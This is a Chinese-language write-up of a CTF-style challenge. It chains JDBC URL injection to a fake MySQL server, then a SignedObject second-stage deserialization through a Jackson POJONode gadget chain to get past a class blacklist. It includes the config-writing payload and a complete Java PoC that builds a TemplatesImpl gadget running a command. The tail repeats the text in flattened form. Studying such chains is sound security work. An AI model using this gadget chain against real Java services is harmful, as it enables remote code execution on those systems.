记一次jdbc二开恶意mysql工具打SignObject二次反序列化jaskson链的经历
字数 1365 2025-08-22 12:22:54

JDBC二次开发与MySQL恶意工具利用:SignObject二次反序列化Jackson链分析

环境搭建

  1. Docker环境准备

    • 使用Windows主机搭建Docker环境
    • 在Dockerfile目录下执行构建命令:
      docker build -t cschallenge:latest .
      
    • 若遇到报错,先拉取基础镜像:
      docker pull openjdk:8-jdk
      
    • 再次执行构建命令
  2. 容器运行

    • 构建容器并转发端口:
      docker run -d --name cschallenge-container -p 64412:8080 cschallenge:latest
      
    • 访问 http://localhost:64412/ 验证服务是否正常运行

漏洞利用前置条件

  1. 写入config.json
    • 需要先访问 /RunCSByMySelf 路由进行写入操作
    • 示例Payload:
      {
        "type": "&123",
        "data": {
          "ip": "127.0.0.1",
          "port": "50050",
          "username": "8889123",
          "password": "123456",
          "ListenerName": "test",
          "ScriptContent": "$data = \"{'ip':'ip','port':'3306','dbname':'test?maxAllowedPacket=655360&allowUrlInLocalInfile=true&detectCustomCollations=true&autoDeserialize=true'}\";$handle = openf(\">/tmp/config.json\");writeb($handle,$data);closef($handle);"
        }
      }
      

代码审计分析

关键类分析

  1. ez_webApplication

    • Spring Boot应用入口
    • 启动时创建CheckClass实例
  2. CheckClass

    • 使用Javassist动态修改com.mysql.jdbc.ResultSetImpl
    • 移除原有getBytes方法并替换为自定义方法:
      public byte[] getBytes(int columnIndex) throws java.lang.Exception {
        byte[] data = this.getBytes(columnIndex, false);
        java.io.ByteArrayInputStream bytesIn = new java.io.ByteArrayInputStream(data);
        java.io.ObjectInputStream objIn = new org.example.ez_web.utils.NewObjectInputStream(bytesIn);
        objIn.readObject();
        return data;
      }
      
  3. NewObjectInputStream

    • 继承ObjectInputStream并重写resolveClass方法
    • 设置黑名单:
      private static final Set<String> BLACKLISTED_CLASSES = new HashSet<>();
      static {
        BLACKLISTED_CLASSES.add("java.lang.Runtime");
        BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
      }
      
  4. DatabaseConnect

    • /tmp/config.json读取配置
    • 构造JDBC连接URL,其中dbname参数可控

漏洞利用链分析

  1. 利用链流程

    ResultSetImpl::getBytes 
    => NewObjectInputStream::static绕过成功 
    => NewObjectInputStream::readobject 
    => SignObject链二次反序列化链子
    
  2. 完整PoC代码

    package org.example.cc1;
    
    import com.fasterxml.jackson.databind.node.POJONode;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xpath.internal.objects.XString;
    import javassist.*;
    import org.springframework.aop.target.HotSwappableTargetSource;
    import org.example.ez_web.utils.Serializer;
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.security.*;
    import java.util.Base64;
    import java.util.HashMap;
    
    public class SignObject {
        public static void main(String[] args) throws Exception {
            // 重写writeReplace方法
            try {
                ClassPool pool = ClassPool.getDefault();
                CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
                CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
                jsonNode.removeMethod(writeReplace);
                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
                jsonNode.toClass(classLoader, (ProtectionDomain) null);
            } catch (Exception var11) {
                System.out.println("expc!!!!");
            }
    
            // TemplatesImpl链构造
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.makeClass("a");
            CtClass superClass = pool.get(AbstractTranslet.class.getName());
            clazz.setSuperclass(superClass);
            CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
            constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
            clazz.addConstructor(constructor);
            byte[][] bytes = new byte[][]{clazz.toBytecode()};
    
            TemplatesImpl templates = TemplatesImpl.class.newInstance();
            setValue(templates, "_bytecodes", bytes);
            setValue(templates, "_name", "test");
            setValue(templates, "_tfactory", null);
    
            POJONode pojo = new POJONode(templates);
            BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
            setValue(bd, "val", pojo);
    
            // SignObject链构造
            KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
            keyPairGenerator.initialize(1024);
            KeyPair keyPair = keyPairGenerator.genKeyPair();
            PrivateKey privateKey = keyPair.getPrivate();
            Signature signingEngine = Signature.getInstance("DSA");
            SignedObject signedObject = new SignedObject(bd, privateKey, signingEngine);
    
            POJONode jsonNodes = new POJONode(1);
            setValue(jsonNodes, "_value", signedObject);
    
            BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
            Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val2.setAccessible(true);
            val2.set(exp2, jsonNodes);
    
            System.out.println(serial(exp2));
        }
    
        public static String serial(Object o) throws IOException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(o);
            oos.close();
            return Base64.getEncoder().encodeToString(baos.toByteArray());
        }
    
        public static void setValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    
        public static void deserial(String data) throws Exception {
            byte[] base64decodedBytes = Base64.getDecoder().decode(data);
            ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
        }
    }
    

关键点解析

  1. writeReplace方法重写

    • 移除BaseJsonNode类的writeReplace方法
    • 防止Jackson在序列化时调用默认的writeReplace方法
  2. TemplatesImpl链

    • 使用Javassist动态创建恶意类
    • 通过TemplatesImpl触发命令执行
    • POJONode触发TemplatesImpl.getOutputProperties
  3. SignObject二次反序列化

    • 利用SignedObject.getObject中的readObject()方法
    • 绕过黑名单限制
    • 实现二次反序列化攻击

利用过程中的坑点及解决方案

  1. 恶意MySQL识别payload多空格问题

    • 问题:生成的base64字节码在复制粘贴时会引入额外空格或换行
    • 解决方案:
      String s = new String(Files.readAllBytes(Paths.get(path)),"UTF-8");
      byte[] decode1 = Base64.getDecoder().decode(s);
      String s1 = new String(decode1,"UTF-8");
      FileOutputStream fos2 = new FileOutputStream(path+"_raw",false);
      fos2.write(Files.readAllBytes(Paths.get(path)));
      fos2.close();
      
  2. user限制为root问题

    • 问题:JDBC连接要求user为root,而很多工具默认使用其他用户名
    • 解决方案:修改fake-mysql-gui工具源码,将custom改为root
  3. 数据库连接失败问题

    • 可能原因:时区设置问题
    • 尝试解决方案:在JDBC URL中添加时区参数,如serverTimezone=UTC

技术总结

  1. JDBC攻击原理

    • 控制JDBC连接URL连接恶意MySQL服务
    • 恶意服务回复包含序列化payload的数据包
    • JDBC驱动自动执行查询时触发反序列化
  2. 绕过黑名单技巧

    • 利用SignedObject进行二次反序列化
    • 通过POJONode触发TemplatesImpl
  3. Java安全开发建议

    • 谨慎处理JDBC连接参数
    • 加强反序列化黑名单防护
    • 对动态类修改操作进行严格审查

参考资料

  1. MySQL JDBC反序列化漏洞分析
  2. Java反序列化漏洞利用技术
  3. MySQL Fake Server工具
JDBC二次开发与MySQL恶意工具利用:SignObject二次反序列化Jackson链分析 环境搭建 Docker环境准备 : 使用Windows主机搭建Docker环境 在Dockerfile目录下执行构建命令: 若遇到报错,先拉取基础镜像: 再次执行构建命令 容器运行 : 构建容器并转发端口: 访问 http://localhost:64412/ 验证服务是否正常运行 漏洞利用前置条件 写入config.json : 需要先访问 /RunCSByMySelf 路由进行写入操作 示例Payload: 代码审计分析 关键类分析 ez_ webApplication : Spring Boot应用入口 启动时创建 CheckClass 实例 CheckClass : 使用Javassist动态修改 com.mysql.jdbc.ResultSetImpl 类 移除原有 getBytes 方法并替换为自定义方法: NewObjectInputStream : 继承 ObjectInputStream 并重写 resolveClass 方法 设置黑名单: DatabaseConnect : 从 /tmp/config.json 读取配置 构造JDBC连接URL,其中 dbname 参数可控 漏洞利用链分析 利用链流程 : 完整PoC代码 : 关键点解析 writeReplace方法重写 : 移除 BaseJsonNode 类的 writeReplace 方法 防止Jackson在序列化时调用默认的 writeReplace 方法 TemplatesImpl链 : 使用Javassist动态创建恶意类 通过 TemplatesImpl 触发命令执行 POJONode 触发 TemplatesImpl.getOutputProperties SignObject二次反序列化 : 利用 SignedObject.getObject 中的 readObject() 方法 绕过黑名单限制 实现二次反序列化攻击 利用过程中的坑点及解决方案 恶意MySQL识别payload多空格问题 : 问题:生成的base64字节码在复制粘贴时会引入额外空格或换行 解决方案: user限制为root问题 : 问题:JDBC连接要求user为root,而很多工具默认使用其他用户名 解决方案:修改fake-mysql-gui工具源码,将custom改为root 数据库连接失败问题 : 可能原因:时区设置问题 尝试解决方案:在JDBC URL中添加时区参数,如 serverTimezone=UTC 技术总结 JDBC攻击原理 : 控制JDBC连接URL连接恶意MySQL服务 恶意服务回复包含序列化payload的数据包 JDBC驱动自动执行查询时触发反序列化 绕过黑名单技巧 : 利用 SignedObject 进行二次反序列化 通过 POJONode 触发 TemplatesImpl 链 Java安全开发建议 : 谨慎处理JDBC连接参数 加强反序列化黑名单防护 对动态类修改操作进行严格审查 参考资料 MySQL JDBC反序列化漏洞分析 Java反序列化漏洞利用技术 MySQL Fake Server工具